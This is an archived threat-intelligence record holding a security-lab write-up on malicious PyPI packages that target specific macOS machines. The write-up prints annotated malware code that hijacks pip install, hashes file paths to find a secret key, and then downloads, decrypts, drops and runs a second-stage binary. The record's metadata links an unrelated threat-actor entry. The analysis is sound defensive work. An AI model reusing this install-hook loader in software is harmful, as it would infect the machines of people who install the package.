{
	"id": "00081ebc-878a-4baa-82d6-7afece2e91dd",
	"created_at": "2026-04-06T00:19:36.334589Z",
	"updated_at": "2026-04-10T03:21:40.665715Z",
	"deleted_at": null,
	"sha1_hash": "db242af9168eece53c3643a7c464d58e5d9af7dc",
	"title": "Malicious PyPI packages targeting highly specific MacOS machines | Datadog Security Labs",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 953233,
	"plain_text": "Malicious PyPI packages targeting highly specific MacOS machines |\r\nDatadog Security Labs\r\nBy Sebastian Obregoso, Christophe Tafani-Dereeper\r\nPublished: 2024-05-23 · Archived: 2026-04-05 13:59:32 UTC\r\nAs part of our software package supply chain security efforts, we continuously scan for malware in newly released PyPI and\r\nNPM packages. In this post, we describe a particularly interesting cluster of malicious packages that we've identified.\r\nBackground: Continuously scanning for malicious software packages\r\nIn late 2022, we released GuardDog, a CLI-based tool that uses Semgrep and package metadata heuristics to identify\r\nmalicious software packages based on common patterns. A few months later, we started instrumenting GuardDog at scale to\r\ncontinuously scan the Python Package Index (PyPI).\r\nContinuous scanning architecture as described in 'Finding Malicious PyPI Packages in the Wild', presented at\r\nInsomni'Hack 2023 (click to enlarge)\r\nOur operational Datadog dashboard showing package scan statistics in the last week (click to enlarge)\r\nSince then, we've identified and manually triaged close to 1,500 malicious packages that we regularly publish as part of an\r\nopen source dataset, which is one of the largest labeled datasets of malicious packages made publicly available.\r\nWhen we find and analyze a particularly interesting package, we like to publish a write-up detailing our findings, such as\r\n“Investigating a backdoored PyPI package targeting FastAPI applications.”\r\nInitial lead: Identifying a malicious package\r\nAs part of our routine triage, we identified a PyPI package that triggered the following GuardDog rules:\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 1 of 8\n\nEmpty information : The package had an empty description, which is unusual for legitimate packages.\r\nSingle python file : The package consisted of a single Python file, which is also slightly suspicious.\r\nCommand overwrite : The package was overwriting the install command, triggering code that gets automatically\r\nexecuted when someone pip install s it.\r\nCode execution : The package was executing OS commands.\r\nThis scan set off our Slack-based triaging workflow, so that one of our researchers could examine it further.\r\nOur triage workflow in Slack for potentially-malicious packages identified (click to enlarge)\r\nAlthough each of these rules individually only gave us a clue as to whether the package was malicious, these four pieces of\r\ninformation put together gave us a strong sense that we were looking at a malicious package. After diving deeper into the\r\npackages, we confirmed that they contained malicious code.\r\nThe initial package that prompted our analysis was published to PyPI on May 9, 2024 and was named reallydonothing . It\r\ncontained a single obfuscated Python file and a README that reads:\r\n# Do Nothing\r\nThis is for testing only.\r\n## Features\r\n- **N/A **\r\n## Installation\r\nTo install do nothing, run the following command:\r\npip install reallydonothing\r\n## Usage\r\nNone, this is a test project.\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 2 of 8\n\nAs we'll see in the Detailed analysis section, this piece of malware targets specific systems and infects the victim's machine\r\nonly if a specific, secret file is identified on the local file system.\r\nBut wait, there's more!\r\nIn the days following our initial discovery, several packages with highly similar source code were published to PyPI,\r\nfollowing the timeline below:\r\nDate Package name Event\r\nMay 9, 2024 reallydonothing Initial lead, versions 0.1 and 0.2 published\r\nMay 17,\r\n2024\r\nreallydonothing Version 0.3 published\r\nMay 20,\r\n2024\r\njupyter-calendar-extension\r\nInitial version 0.1 published\r\nMay 20,\r\n2024\r\ncalendar-extender\r\nInitial version 0.1 published, version 0.2 published a few minutes\r\nlater\r\nMay 21,\r\n2024\r\nReportGenPub Initial version 0.1 published\r\nMay 22,\r\n2024\r\nReportGenPub Version 0.2 published\r\nMay 23,\r\n2024\r\nAuto-Scrubber Version 0.1 published\r\nThis sort of timeline can indicate an attacker publishing an initial version of a malicious piece of software, then delivering it\r\nto actual targets. It's also the sign of a somewhat long-lived, continued attack from a resourceful attacker.\r\nIn the next section, we'll analyze how these pieces of malware function. Although they possess slightly different properties\r\n(which we detail in the How the identified malicious packages differ section), their behavior is very similar.\r\nDetailed analysis\r\nThe malicious samples are all composed of a single Python file, setup.py , which exclusively exhibits malicious behavior.\r\nThese packages don't attempt to mimic or implement legitimate functionality.\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 3 of 8\n\nThe malware contains a single Python file (click to enlarge)\r\nFirst, they overwrite the setup command with a custom class, making sure that the malicious code is executed when the\r\npackage is installed through pip install :\r\nclass InstallCommand(install):\r\n def run(self):\r\n install.run(self)\r\n # malicious code follows\r\nsetup(\r\n name='reallydonothing',\r\n version='0.1',\r\n license='MIT',\r\n packages=find_packages(),\r\n cmdclass={'install': InstallCommand},\r\n)\r\nThe malicious code starts by defining magic, hardcoded values:\r\nBASE = Path(\"/Library/Application Support\")\r\nVAR3 = bytes([236, 182, ..., 141])\r\nVAR1 = bytes([153, 113, ... , 162])\r\nVAR2 = bytes([51, 62, ... , 92])\r\nSTRING1 = \"railroad\"\r\nSTRING2 = \"jewel\"\r\nSTRING3 = \"drown\"\r\nSTRING4 = \"archive\"\r\nIt then searches through files that have a specific pattern on the local file system.\r\nfor path in BASE.glob(\"t*/*O*/*\"):\r\n # ...\r\nThe use of Python's glob function will return any file matching the pattern /Library/Application Support/t*/*O*/* ,\r\nsuch as /Library/Application Support/test/OOO/foo .\r\nThe malicious code then searches for a secret file whose path, when hashed, matches a predetermined hardcoded value\r\n(taking into account only the first 32 bytes). The annotated code for this logic is represented below:\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 4 of 8\n\nSTRING1 = \"railroad\"\r\nVAR3 = bytes([236, 182, ..., 141])\r\n# (...)\r\nfor path in BASE.glob(\"t*/*O*/*\"):\r\n path_bytes = str(path).encode(\"utf-8\")\r\n # Use the magic hardcoded word \"railroad\" as a hashing salt\r\n to_hash = STRING1.encode(\"utf-8\") + path_bytes\r\n function = function_gen(to_hash) # Performs a SHA3-512 hash\r\n # Retrieve the first 32 bytes of the hash (the first half of the SHA3-512 hash)\r\n first_n_bytes = bytes([next(function) for _ in range(32)])\r\n # If they match the hardcoded value VAR3, execute further malicious code\r\n if first_n_bytes == VAR3:\r\n CustomRun(path_bytes)\r\n break\r\nThe CustomRun function is in charge of downloading a second-stage binary, storing it on the local file system, and\r\nexecuting it. To determine the URL of this malicious executable, it performs an XOR of the previously found \"secret\" file\r\npath with a hardcoded value:\r\nSTRING2 = \"jewel\"\r\nSTRING3 = \"drown\"\r\nSTRING4 = \"archive\"\r\nVAR1 = bytes([153, 113, ... , 162])\r\nVAR2 = bytes([51, 62, ... , 92])\r\n# (...)\r\ndef CustomRun(path: bytes, /) -\u003e None:\r\n # Performs a SHA3-512 hash of the secret file path, with an hardcoded salts\r\n function1 = function_gen(STRING2.encode(\"utf-8\") + path)\r\n function2 = function_gen(STRING3.encode(\"utf-8\") + path)\r\n function3 = function_gen(STRING4.encode(\"utf-8\") + path)\r\n # XOR the hash of the secret file path with hardcoded values\r\n url1 = ''.join(chr(b ^ k) for b, k in zip(VAR1, function2))\r\n url2 = ''.join(chr(b ^ k) for b, k in zip(VAR2, function3))\r\n # Determine the appropriate URL based on the current platform (ARM/Intel)\r\n url = {\r\n \"x86_64\": url1,\r\n \"arm64\": url2\r\n }.get(platform.machine())\r\n # Download the binary\r\n response = requests.get(url)\r\nEffectively, this means that the download URL is deterministic and determined solely by the path of the secret file the\r\nmalware is looking for. This makes sure that the URL of the second stage can only be computed on a specific, targeted\r\nsystem.\r\nAs a next step, the downloaded binary is XORed again with another hash, also derived from the secret file path:\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 5 of 8\n\nbuf = response.content\r\nout: list[int] = []\r\n# XOR the downloaded HTTP body one byte at a time with the hash derived from the secret file path\r\nfor b, k in zip(buf, function1):\r\n out.append(b ^ k)\r\nFinally, the executable is written to disk and executed. A file is also dropped in the /tmp folder, likely indicating that the\r\ninfection was successful:\r\nlocal_bin_path = os.path.expanduser('~/.local/bin')\r\nos.makedirs(local_bin_path, exist_ok=True)\r\n# (...)\r\n# Drop the decrypted binary to disk\r\nbinary_path = os.path.join(local_bin_path, 'donothing')\r\nwith open(binary_path, 'wb') as f:\r\n f.write(bytes(out))\r\n# Make sure it's executagble\r\nos.chmod(binary_path, stat.S_IREAD | stat.S_IEXEC | stat.S_IRGRP | stat.S_IXGRP)\r\n# Create a file to mark the machine as compromised successfuly\r\nwith open('/tmp/testing', 'w') as f:\r\n pass\r\n# Start the decrypted malicious binary\r\nsubprocess.Popen([binary_path], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)\r\nHow the identified malicious packages differ\r\nThe packages we've identified and analyzed look for different file patterns, use different hardcoded salt and binary values,\r\nand drop binaries in different locations. The differences between these samples are outlined in the table below.\r\nPackage name\r\nPackage\r\nversion\r\nFiles matched\r\nHardcoded\r\nmagic\r\nwords\r\nPath of dropped binary\r\nFile cre\r\nafter su\r\ninfection\r\nreallydonothing 0.1\r\n/Library/Application\r\nSupport/t*/*O*/*\r\nrailroad,\r\njewel,\r\ndrown,\r\narchive\r\n~/.local/bin/donothing /tmp/te\r\nreallydonothing 0.3\r\n/Library/Application\r\nSupport/t*/*O*/*\r\nrailroad,\r\njewel,\r\ndrown,\r\narchive\r\n~/.local/bin/donothing /tmp/te\r\njupyter-calendar-extension\r\n0.1 /Users/Shared/C*/*r*/2*/*\r\ncraft,\r\nribbon,\r\neffect,\r\njacket\r\n~/.local/bin/jupyter_calendar\r\n/tmp/2\r\n5e4e-404\r\nb6db-91688a9\r\ncalendar-extender0.1 /Users/Shared/C*/*r*/2*/* craft,\r\nribbon,\r\n~/.local/bin/calendar_extender /tmp/9b\r\n8485-47\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 6 of 8\n\nPackage name\r\nPackage\r\nversion\r\nFiles matched\r\nHardcoded\r\nmagic\r\nwords\r\nPath of dropped binary\r\nFile cre\r\nafter su\r\ninfection\r\neffect,\r\njacket\r\n9c09-\r\n7eb4f3f\r\ncalendar-extender\r\n0.2 /Users/Shared/C*/*r*/2*/*\r\ncraft,\r\nribbon,\r\neffect,\r\njacket\r\n~/.local/bin/calendar_extender\r\n/tmp/2\r\n5e4e-404\r\nb6db-91688a9\r\nReportGenPub 0.1 /Users/Shared/P*/*c*/R*/*\r\nbench,\r\nexample,\r\nassume,\r\nreservoir\r\n~/.local/bin/report_gen None\r\nReportGenPub 0.2 /Users/Shared/P*/*c*/R*/*\r\nbench,\r\nexample,\r\nassume,\r\nreservoir\r\n~/.local/bin/report_gen None\r\nAuto-Scrubber 0.1 /Users/Shared/Videos/*t*/2*/*\r\nliberty,\r\nseed,\r\nnovel,\r\nstructure\r\n~/.local/bin/AutoScrub None\r\nAssessment\r\nFirst, these pieces of malware target MacOS systems, as they're looking for files in the standard /Users/Shared and\r\n/Library/Application Support folders.\r\nIn addition, we've observed that while the code itself is not heavily obfuscated, it's challenging to identify the attacker's\r\nintentions: The malware searches for a secret file matching a specific path pattern and confirms it is the correct one using a\r\none-way hashing function. This path acts as a secret key to decrypt the second-stage payload, making it close to impossible\r\nto determine the payload URL without knowing the secret file path.\r\nIt's likely that these packages are part of a broader campaign targeting a specific set of machines, based on either a specific\r\nconfiguration (such as software installed) or markers left from a previous infection. In any case, the attacker does intend to\r\nhide their infrastructure and intentions.\r\nConclusion\r\nThe malicious packages we've analyzed in this post have been identified by GuardDog, an open source project that you can\r\nrun on your own dependencies or arbitrary PyPI and NPM packages. We'll make sure to update this post if we identify new\r\nmalicious packages that exhibit a similar behavior.\r\nStay tuned! You can also subscribe to our monthly newsletter to receive our latest research in your inbox, or use our RSS\r\nfeed.\r\nAnnex\r\nThe samples we've analyzed in this post are, as always, available on our open source repository:\r\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-09-\r\nreallydonothing-v0.1.zip\r\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-17-\r\nreallydonothing-v0.3.zip\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 7 of 8\n\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-20-jupyter-calendar-extension-v0.1.zip\r\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-20-calendar-extender-v0.1.zip\r\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-20-calendar-extender-v0.2.zip\r\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-21-reportgenpub-v0.1.zip\r\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-21-reportgenpub-v0.2.zip\r\nhttps://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/pypi/2024-05-23-auto-scrubber-v0.1.zip\r\nUpdates made to this entry\r\nSource: https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nhttps://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/"
	],
	"report_names": [
		"malicious-pypi-package-targeting-highly-specific-macos-machines"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434776,
	"ts_updated_at": 1775791300,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/db242af9168eece53c3643a7c464d58e5d9af7dc.pdf",
		"text": "https://archive.orkl.eu/db242af9168eece53c3643a7c464d58e5d9af7dc.txt",
		"img": "https://archive.orkl.eu/db242af9168eece53c3643a7c464d58e5d9af7dc.jpg"
	}
}